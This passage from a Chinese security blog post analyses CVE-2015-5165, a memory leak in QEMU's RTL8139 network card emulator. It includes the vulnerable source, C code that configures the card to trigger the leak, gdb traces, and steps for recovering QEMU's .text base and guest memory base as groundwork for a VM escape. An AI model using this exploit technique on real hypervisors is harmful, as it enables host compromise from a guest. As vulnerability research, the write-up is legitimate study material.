<h2 id="3-Memory-Leak-Exploitation"><a href="#3-Memory-Leak-Exploitation" class="headerlink" title="3 Memory Leak Exploitation"></a>3 Memory Leak Exploitation</h2><p>接下来我们将利用CVE-2015-5165一个会影响RTL8139网卡设备仿真器的内存泄漏漏洞来重建QEMU的内存布局。 更准确地说,我们需要泄漏</p>
<ol>
<li>.text段的基地址以构建我们的shellcode</li>
<li>为Guest分配的物理内存的基地址以便能够获得 一些虚拟结构的地址</li>
</ol>
<h3 id="3-1-The-vulnerable-Code"><a href="#3-1-The-vulnerable-Code" class="headerlink" title="3.1 The vulnerable Code"></a>3.1 The vulnerable Code</h3><p>REALTEK网卡支持两种 接收/发送 操作模式C模式和C +模式。 当将网卡设置为使用C +时网卡设备仿真器会错误地计算IP数据包数据的长度最终发送的数据量会超出数据包中实际可用的数据量。</p>
<p>该漏洞存在于hw/net/rtl8139.c的 rtl8139_cplus_transmit_one 函数中:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* ip packet header */</span></span><br><span class="line">ip_header *ip = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">int</span> hlen = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">uint8_t</span> ip_protocol = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">uint16_t</span> ip_data_len = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">uint8_t</span> *eth_payload_data = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">size_t</span> eth_payload_len = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> proto = be16_to_cpu(*(<span class="keyword">uint16_t</span> *)(saved_buffer + <span class="number">12</span>));</span><br><span class="line"><span class="keyword">if</span> (proto == ETH_P_IP)</span><br><span class="line">&#123;</span><br><span class="line"> DPRINTF(<span class="string">"+++ C+ mode has IP packet\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* not aligned */</span></span><br><span class="line"> eth_payload_data = saved_buffer + ETH_HLEN;</span><br><span class="line"> eth_payload_len = saved_size - ETH_HLEN;</span><br><span class="line"></span><br><span class="line"> ip = (ip_header*)eth_payload_data;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) &#123;</span><br><span class="line"> DPRINTF(<span class="string">"+++ C+ mode packet has bad IP version %d "</span></span><br><span class="line"> <span class="string">"expected %d\n"</span>, IP_HEADER_VERSION(ip),</span><br><span class="line"> IP_HEADER_VERSION_4);</span><br><span class="line"> ip = <span class="literal">NULL</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> hlen = IP_HEADER_LENGTH(ip);</span><br><span class="line"> ip_protocol = ip-&gt;ip_p;</span><br><span class="line"> ip_data_len** **= be16_to_cpu(ip-&gt;ip_len) - hlen;</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>IP头包含两个字段hlen和ip-&gt; ip_len分别表示IP头的长度考虑到不带选项的数据包为20字节和包括ip头的数据包的总长度。 如下面给出的代码片段末尾所示在计算IP数据长度ip_data_len没有检查以确保 ip→ip_len &gt;= hlen 。 由于ip_data_len字段被编码为unsigned short int因此导致发送的数据多于发送缓冲区中实际可用的数据。</p>
<p>更精确地讲ip_data_len稍后用于计算TCP数据的长度如果该数据超过MTU的大小则将其逐块复制到一个malloc缓冲区中</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> tcp_data_len** **= ip_data_len - tcp_hlen;</span><br><span class="line"><span class="keyword">int</span> tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> is_last_frame = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (tcp_send_offset = <span class="number">0</span>; tcp_send_offset &lt; tcp_data_len;</span><br><span class="line"> tcp_send_offset += tcp_chunk_size) &#123;</span><br><span class="line"> <span class="keyword">uint16_t</span> chunk_size = tcp_chunk_size;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* check if this is the last frame */</span></span><br><span class="line"> <span class="keyword">if</span> (tcp_send_offset + tcp_chunk_size &gt;= tcp_data_len) &#123;</span><br><span class="line"> is_last_frame = <span class="number">1</span>;</span><br><span class="line"> chunk_size = tcp_data_len - tcp_send_offset;</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">memcpy</span>(data_to_checksum, saved_ip_header + <span class="number">12</span>, <span class="number">8</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (tcp_send_offset) &#123;</span><br><span class="line"> <span class="built_in">memcpy</span>((<span class="keyword">uint8_t</span>*)p_tcp_hdr + tcp_hlen,</span><br><span class="line"> (<span class="keyword">uint8_t</span>*)p_tcp_hdr + tcp_hlen + tcp_send_offset,</span><br><span class="line"> chunk_size);</span><br><span class="line"> &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* more code follows */</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>因此如果我们伪造了长度损坏的畸形数据包例如ip→ip_len = hlen-1则可能会从QEMU的堆内存中泄漏大约64 KB。网卡设备仿真器将通过发送43个分段的数据包结束 而不是发送单个数据包。</p>
<h3 id="3-2-Setting-up-the-Card"><a href="#3-2-Setting-up-the-Card" class="headerlink" title="3.2 Setting up the Card"></a>3.2 Setting up the Card</h3><p>为了发送格式错误的数据包并读取泄漏的数据我们需要在卡上配置Rx和Tx描述符缓冲区并设置一些标志以使我们的数据包流经易受攻击的代码路径。</p>
<p>下图显示了RTL8139寄存器。 我们将不详述所有这些内容,而是仅详述与我们的利用相关的那些内容:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"> +---------------------------+----------------------------+</span><br><span class="line">0x00 | MAC0 | MAR0 |</span><br><span class="line"> +---------------------------+----------------------------+</span><br><span class="line">0x10 | TxStatus0 |</span><br><span class="line"> +--------------------------------------------------------+</span><br><span class="line">0x20 | TxAddr0 |</span><br><span class="line"> +-------------------+-------+----------------------------+</span><br><span class="line">0x30 | RxBuf |ChipCmd| |</span><br><span class="line"> +-------------+------+------+----------------------------+</span><br><span class="line">0x40 | TxConfig | RxConfig | ... |</span><br><span class="line"> +-------------+-------------+----------------------------+</span><br><span class="line"> | |</span><br><span class="line"> | skipping irrelevant registers |</span><br><span class="line"> | |</span><br><span class="line"> +---------------------------+--+------+------------------+</span><br><span class="line">0xd0 | ... | |TxPoll| ... |</span><br><span class="line"> +-------+------+------------+--+------+--+---------------+</span><br><span class="line">0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |</span><br><span class="line"> +-------+------+------------+------------+---------------+</span><br></pre></td></tr></table></figure>
<ul>
<li><strong>TxConfig:</strong> 启用/禁用Tx标志例如TxLoopBack启用回送测试模式TxCRC不将CRC附加到Tx数据包等。</li>
<li><strong>RxConfig:</strong> 启用/禁用Rx标志例如AcceptBroadcast接受广播数据包AcceptMulticast接受组播数据包等。</li>
<li><strong>CpCmd:</strong> C+命令寄存器用于启用某些功能例如CplusRxEnd启用接收CplusTxEnd启用发送等。</li>
<li><strong>TxAddr0:</strong> Tx描述符表的物理内存地址。</li>
<li><strong>RxRingAddrLO:</strong> Rx描述符表的低32位物理内存地址。</li>
<li><strong>RxRingAddrHI:</strong> Rx描述符表的高32位物理内存地址。</li>
<li><strong>TxPoll:</strong>告诉网卡检查Tx描述符。</li>
</ul>
<p>Rx/Tx描述符 由以下结构定义其中buf_lo和buf_hi分别是Tx/Rx缓冲区的低32位和高32位物理存储地址。 这些地址指向保存要发送/接收的数据包的缓冲区,并且必须在页面大小边界上对齐。 变量dw0对缓冲区的大小以及其他标志例如所有权标志进行编码以表示缓冲区是由网卡还是由驱动程序拥有。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">rtl8139_desc</span> &#123;</span></span><br><span class="line"> <span class="keyword">uint32_t</span> dw0;</span><br><span class="line"> <span class="keyword">uint32_t</span> dw1;</span><br><span class="line"> <span class="keyword">uint32_t</span> **buf_lo**;</span><br><span class="line"> <span class="keyword">uint32_t</span> **buf_hi**;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>
<p>网卡通过in<em>() out</em>()原语来自sys/io.h进行配置。 为此我们需要具有CAP_SYS_RAWIO特权。 以下代码段配置了网卡并设置了一个Tx描述符。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> RTL8139_PORT 0xc000</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> RTL8139_BUFFER_SIZE 1500</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">rtl8139_desc</span> <span class="title">desc</span>;</span></span><br><span class="line"><span class="keyword">void</span> *rtl8139_tx_buffer;</span><br><span class="line"><span class="keyword">uint32_t</span> phy_mem;</span><br><span class="line"></span><br><span class="line">rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);</span><br><span class="line">phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer);</span><br><span class="line"></span><br><span class="line"><span class="built_in">memset</span>(&amp;desc, <span class="number">0</span>, <span class="keyword">sizeof</span>(struct rtl8139_desc));</span><br><span class="line"></span><br><span class="line">desc-&gt;dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN |</span><br><span class="line"> CP_TX_IPCS | CP_TX_TCPCS;</span><br><span class="line">desc-&gt;dw0 += RTL8139_BUFFER_SIZE;</span><br><span class="line"></span><br><span class="line">desc.buf_lo = phy_mem;</span><br><span class="line"></span><br><span class="line">iopl(<span class="number">3</span>);</span><br><span class="line"></span><br><span class="line">outl(TxLoopBack, RTL8139_PORT + TxConfig);</span><br><span class="line">outl(AcceptMyPhys, RTL8139_PORT + RxConfig);</span><br><span class="line"></span><br><span class="line">outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd);</span><br><span class="line">outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);</span><br><span class="line"></span><br><span class="line">outl(phy_mem, RTL8139_PORT + TxAddr0);</span><br><span class="line">outl(<span class="number">0x0</span>, RTL8139_PORT + TxAddr0 + <span class="number">0x4</span>);</span><br></pre></td></tr></table></figure>
<h3 id="3-3-Exploit"><a href="#3-3-Exploit" class="headerlink" title="3.3 Exploit"></a>3.3 Exploit</h3><p>phrack随附的源代码中提供了完整的利用cve-2015-5165.c uuencode用于将二进制文件编码为纯ASCII文本以便可以通过电子邮件发送它们。<br>cve-2015-5165.c依赖qemu.h头文件中的函数偏移地址因此首先需要通过<a href="https://github.com/jiayy/android_vuln_poc-exp/blob/master/EXP-2015-7504/build-exploit.sh" target="_blank" rel="noopener">build-exploit.sh</a>来进行计算。</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./build-exploit.sh '/home/han/VMescape/qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64'</span><br></pre></td></tr></table></figure>
<p>该漏洞利用程序在网卡上配置所需的寄存器并设置Tx和Rx缓冲区描述符。 然后它伪造了格式错误的IP数据包该IP数据包的目的地址和源地址为网卡的MAC地址。 这使我们能够通过访问已配置的Rx缓冲区来读取泄漏的数据。<br>通过对qemu运行程序下断点可用看到漏洞触发的过程由于ip_len小于伪造的hlen导致最后tcp_data_len比实际的 tcp 数据大, 多余的内存区会被拷贝到包里发送出去网卡需要配置为loopback 口)</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">(gdb) b rtl8139.c:2173</span><br><span class="line">Breakpoint 1 at 0x55a5ef757b03: file /home/han/VMescape/qemu/hw/net/rtl8139.c, line 2173.</span><br><span class="line">(gdb) c</span><br><span class="line">Continuing.</span><br><span class="line"></span><br><span class="line">Thread 3 "qemu-system-x86" hit Breakpoint 1, rtl8139_cplus_transmit_one (s=0x55a5f26ecfe0)</span><br><span class="line">at /home/han/VMescape/qemu/hw/net/rtl8139.c:2173</span><br><span class="line">2173 if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) &#123;</span><br><span class="line">(gdb) p/x ip</span><br><span class="line"><span class="meta">$</span>1 = 0x7ff7d4278b6e</span><br><span class="line">(gdb) p/x *ip</span><br><span class="line"><span class="meta">$</span>2 = &#123;ip_ver_len = 0x45, ip_tos = 0x0, ip_len = 0x1300, ip_id = 0xadde, ip_off = 0x40, ip_ttl = 0x40, ip_p = 0x6,</span><br><span class="line">ip_sum = 0xadde, ip_src = 0x10108c0, ip_dst = 0x201a8c0&#125;</span><br><span class="line">(gdb) n</span><br><span class="line">[Thread 0x7ff7e131f700 (LWP 56763) exited]</span><br><span class="line">2179 hlen = IP_HEADER_LENGTH(ip);</span><br><span class="line">(gdb) n</span><br><span class="line">2180 ip_protocol = ip→ip_p;</span><br><span class="line">(gdb) p/x hlen</span><br><span class="line"><span class="meta">$</span>5 = 0x14</span><br><span class="line">(gdb) n</span><br><span class="line">2181 ip_data_len = be16_to_cpu(ip-&gt;ip_len) - hlen;</span><br><span class="line">(gdb) n</span><br><span class="line">2185 if (ip)</span><br><span class="line">(gdb) p/x ip_data_len</span><br><span class="line">**$7 = 0xffff**</span><br><span class="line">(gdb) b rtl8139.c:2231</span><br><span class="line">Breakpoint 2 at 0x55a5ef757d42: file /home/han/VMescape/qemu/hw/net/rtl8139.c, line 2231.</span><br><span class="line">(gdb) c</span><br><span class="line">Continuing.</span><br><span class="line"></span><br><span class="line">Thread 3 "qemu-system-x86" hit Breakpoint 2, rtl8139_cplus_transmit_one (s=0x55a5f26ecfe0)</span><br><span class="line">at /home/han/VMescape/qemu/hw/net/rtl8139.c:2231</span><br><span class="line">2231 int tcp_data_len = ip_data_len - tcp_hlen;</span><br><span class="line">(gdb) n</span><br><span class="line">2232 int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;</span><br><span class="line">(gdb) p/x tcp_data_len</span><br><span class="line">**$8 = 0xffeb**</span><br></pre></td></tr></table></figure>
<p>虚拟机内部的用户进程通过读取收包队列的数据包就可以知道被泄露的那块 qemu 内存区的内容。在分析泄漏的数据时我们观察到存在多个函数指针。经过调试发现这些函数指针都是struct ObjectProperty这个 qemu 内部结构体的数据。struct ObjectProperty 包含 11 个指针, 这里边有 4 个函数指针 <strong>get/set/resolve/release</strong></p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ObjectProperty</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line"> gchar *name;</span><br><span class="line"> gchar *type;</span><br><span class="line"> gchar *description;</span><br><span class="line"> ObjectPropertyAccessor *get;</span><br><span class="line"> ObjectPropertyAccessor *<span class="built_in">set</span>;</span><br><span class="line"> ObjectPropertyResolve *resolve;</span><br><span class="line"> ObjectPropertyRelease *release;</span><br><span class="line"> <span class="keyword">void</span> *opaque;</span><br><span class="line"></span><br><span class="line"> QTAILQ_ENTRY(ObjectProperty) node;</span><br><span class="line">&#125; ObjectProperty;</span><br></pre></td></tr></table></figure>
<p>QEMU遵循对象模型来管理设备内存区域等。启动时QEMU创建多个对象并为其分配属性。 例如以下的函数将“may-overlap”属性添加给一个内存区域对象。 此属性具有getter方法可以检索此boolean属性的值</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">object_property_add_bool(OBJECT(mr), <span class="string">"may-overlap"</span>,</span><br><span class="line"> memory_region_get_may_overlap,</span><br><span class="line"> <span class="literal">NULL</span>, <span class="comment">/* memory_region_set_may_overlap */</span></span><br><span class="line"> &amp;error_abort);</span><br></pre></td></tr></table></figure>
<p>RTL8139网卡设备仿真器在堆上保留了64 KB的空间以重组数据包。 该分配的缓冲区很可能把释放掉的object properties的内存占位了。</p>
<p>在我们的漏洞利用中我们在泄漏的内存中搜索已知的对象属性。更准确地说我们正在寻找80个字节的内存块块大小为已释放的ObjectProperty结构其中至少设置了一个函数指针get, set, resolve or release<br>即使这些地址受ASLR约束我们仍然可以猜测<strong>.text节的基地址</strong></p>
<blockquote>
<p>0) 从 qemu-system-x86_64 二进制文件里搜索上述 4 类符号的所有静态地址, 如 <strong>property_get_bool</strong> 等符号的地址</p>
</blockquote>
<blockquote>
<p>1) 在读回来的 IP 包的数据里搜索值等于 0x60 的内存 ptr 如果匹配到, 认为 (u64*)ptr+1 的地方就是一个潜在的 struct ObjectProperty 对象, 对应的函数是 <strong>qemu_get_leaked_chunk</strong></p>
</blockquote>
<blockquote>
<p>2) 在 1 搜索到的内存上匹配 0 收集到的 <strong>get/set/resolve/release</strong> 这几种符号的静态地址, 匹配方式为页内偏移相等, 如果匹配到, 认为就是 struct ObjectProperty 对象, 对应的函数是 <strong>qemu_get_leaked_object_property</strong></p>
</blockquote>
<blockquote>
<p>3) 在 2 搜索的基础上, 用 <strong>object-&gt;get/set/resolve/release</strong> 的实际地址减去静态编译里算出来的 offset, 得到 .text 加载的地址</p>
</blockquote>
<p>实际上它们的页面偏移是固定的12个最低有效位或虚拟地址不是随机的。 我们可以通过一些算法来获取QEMU一些有用函数的地址。 我们还可以从它们的PLT条目中导出某些LibC函数的地址例如mprotect() 和system()。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_30.png" alt><br>我们还注意到地址PHY_MEM + 0x78泄漏了几次其中PHY_MEM是分配给该Guest的<strong>物理内存的起始地址。</strong></p>
<blockquote>
<p>总结当前漏洞利用程序搜索泄漏的内存并尝试解析i.text段的基地址和ii物理内存的基地址。</p>
</blockquote>
<h3 id="3-4-遇到的几个问题"><a href="#3-4-遇到的几个问题" class="headerlink" title="3.4 遇到的几个问题"></a>3.4 遇到的几个问题</h3><ol>
<li>phrack提供的build-exploit.sh, 它是一个工具脚本,用来获取一些符号的(相对)地址。<a href="http://www.phrack.org/papers/vm-escape-qemu-case-study.html" target="_blank" rel="noopener">原始的</a> build-exploit.sh 获取 plt 段是通过下面的命令行:</li>
<li><code>plt**=**$(readelf -S $binary | grep plt | tail -n 1 | awk &#39;{print $2}&#39;)</code></li>
</ol>
<p>这样获取到的是 .plt.got 段,在我的环境里, mprotect 等系统函数符号没有在 .plt.got 这个段,而是在 .plt 这个段。因此替换如下:</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span>plt=$(readelf -S $binary | grep plt | tail -n 1 | awk '&#123;print $2&#125;')</span><br><span class="line">plt=.plt</span><br></pre></td></tr></table></figure>
<ol>
<li>Phrack 文章提供的 Exploit 代码中搜索的地址是PHY_MEM + 0x78但实际上并不固定为0x78更通用的做法是统计泄露的数据中出现的 <code>uint64_t</code> 类型的数据 <code>0x00007FXXYYZZZZZZ</code> ,其中 <code>7FXXYY</code> 出现次数最多的数据,就是 QEMU 虚拟机物理内存的结束地址;修改之后成功获得物理地址</li>
</ol>
<p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_31.png"></p>
<p>通过 gdb 调试验证结果正确性:</p>
<p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_32.png"></p>
<h2 id="ref"><a href="#ref" class="headerlink" title="ref"></a>ref</h2><p><a href="http://jiayy.me/2019/04/15/CVE-2015-5165-7504/" target="_blank" rel="noopener">http://jiayy.me/2019/04/15/CVE-2015-5165-7504/</a><br><a href="http://jiayy.me/2019/04/15/CVE-2015-5165-7504/#cve-2015-5165-exp" target="_blank" rel="noopener">http://jiayy.me/2019/04/15/CVE-2015-5165-7504/#cve-2015-5165-exp</a><br><a href="https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/" target="_blank" rel="noopener">https://programlife.net/2020/06/30/cve-2015-5165-qemu-rtl8139-vulnerability-analysis/</a></p>
</div>
<div>
<div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
<div>您的支持将鼓励我继续创作!</div>
<button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
<span>打赏</span>
</button>
<div id="QR" style="display: none;">
<div id="wechat" style="display: inline-block">
<img id="wechat_qr" src="/images/Wechatpay.png" alt="Cool-Y 微信支付">
<p>微信支付</p>
</div>
<div id="alipay" style="display: inline-block">
<img id="alipay_qr" src="/images/Alipay.png" alt="Cool-Y 支付宝">
<p>支付宝</p>
</div>
</div>
</div>
</div>
<div>
<ul class="post-copyright">
<li class="post-copyright-author">
<strong>本文作者:</strong>
Cool-Y
</li>
<li class="post-copyright-link">
<strong>本文链接:</strong>
<a href="https://cool-y.github.io/2021/04/10/vm-escape1/" title="VM escape-QEMU Case Study">https://cool-y.github.io/2021/04/10/vm-escape1/</a>
</li>
<li class="post-copyright-license">
<strong>版权声明: </strong>
本博客所有文章除特别声明外,均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/3.0/" rel="external nofollow" target="_blank">CC BY-NC-SA 3.0</a> 许可协议。转载请注明出处!
</li>
</ul>
</div>
<footer class="post-footer">
<div class="post-tags">
<a href="/tags/CVE/" rel="tag"># CVE</a>
<a href="/tags/QEMU/" rel="tag"># QEMU</a>
<a href="/tags/信息泄露/" rel="tag"># 信息泄露</a>
</div>
<div class="post-widgets">
<div id="needsharebutton-postbottom">
<span class="btn">
<i class="fa fa-share-alt" aria-hidden="true"></i>
</span>
</div>
</div>
<div class="post-nav">
<div class="post-nav-next post-nav-item">
<a href="/2021/03/02/DIR-802-OS-Command-Injection/" rel="next" title="DIR-802 OS Command Injection">
<i class="fa fa-chevron-left"></i> DIR-802 OS Command Injection
</a>
</div>
<span class="post-nav-divider"></span>
<div class="post-nav-prev post-nav-item">
<a href="/2021/05/20/aflnw-blackbox/" rel="prev" title="利用AFL黑盒测试网络协议">
利用AFL黑盒测试网络协议 <i class="fa fa-chevron-right"></i>
</a>
</div>
</div>
</footer>
</div>
</article>
<div class="post-spread">
</div>
</div>
</div>
<div class="comments" id="comments">
<div id="gitalk-container"></div>
</div>
</div>
<div class="sidebar-toggle">
<div class="sidebar-toggle-line-wrap">
<span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
<span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
<span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
</div>
</div>
<aside id="sidebar" class="sidebar">
<div id="sidebar-dimmer"></div>
<div class="sidebar-inner">
<ul class="sidebar-nav motion-element">
<li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
文章目录
</li>
<li class="sidebar-nav-overview" data-target="site-overview-wrap">
站点概览
</li>
</ul>
<section class="site-overview-wrap sidebar-panel">
<div class="site-overview">
<div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
<img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
<p class="site-author-name" itemprop="name">Cool-Y</p>
<p class="site-description motion-element" itemprop="description">Juice is temporary but Sauce is forever</p>
</div>
<nav class="site-state motion-element">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">31</span>
<span class="site-state-item-name">日志</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/index.html">
<span class="site-state-item-count">7</span>
<span class="site-state-item-name">分类</span>
</a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/index.html">
<span class="site-state-item-count">55</span>
<span class="site-state-item-name">标签</span>
</a>
</div>
</nav>
<div class="feed-link motion-element">
<a href="/atom.xml" rel="alternate">
<i class="fa fa-rss"></i>
RSS
</a>
</div>
<div class="links-of-author motion-element">
<span class="links-of-author-item">
<a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
<i class="fa fa-fw fa-github"></i>GitHub</a>
</span>
<span class="links-of-author-item">
<a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
<i class="fa fa-fw fa-envelope"></i>E-Mail</a>
</span>
<span class="links-of-author-item">
<a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
<i class="fa fa-fw fa-instagram"></i>Instagram</a>
</span>
</div>
<div id="music163player">
<iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="110" src="//music.163.com/outchain/player?type=4&id=334277093&auto=1&height=90"></iframe>
</div>
</div>
</section>
<!--noindex-->
<section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
<div class="post-toc">
<div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#1-Intro"><span class="nav-text">1 Intro</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#2-KVM-QEMU-Overview"><span class="nav-text">2 KVM/QEMU Overview</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#2-1-Workspace-Environment"><span class="nav-text">2.1 Workspace Environment</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#2-2-QEMU-Memory-Layout"><span class="nav-text">2.2 QEMU Memory Layout</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#2-3-Address-Translation"><span class="nav-text">2.3 Address Translation</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#3-Memory-Leak-Exploitation"><span class="nav-text">3 Memory Leak Exploitation</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#3-1-The-vulnerable-Code"><span class="nav-text">3.1 The vulnerable Code</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#3-2-Setting-up-the-Card"><span class="nav-text">3.2 Setting up the Card</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#3-3-Exploit"><span class="nav-text">3.3 Exploit</span></a></li><li class="nav-item 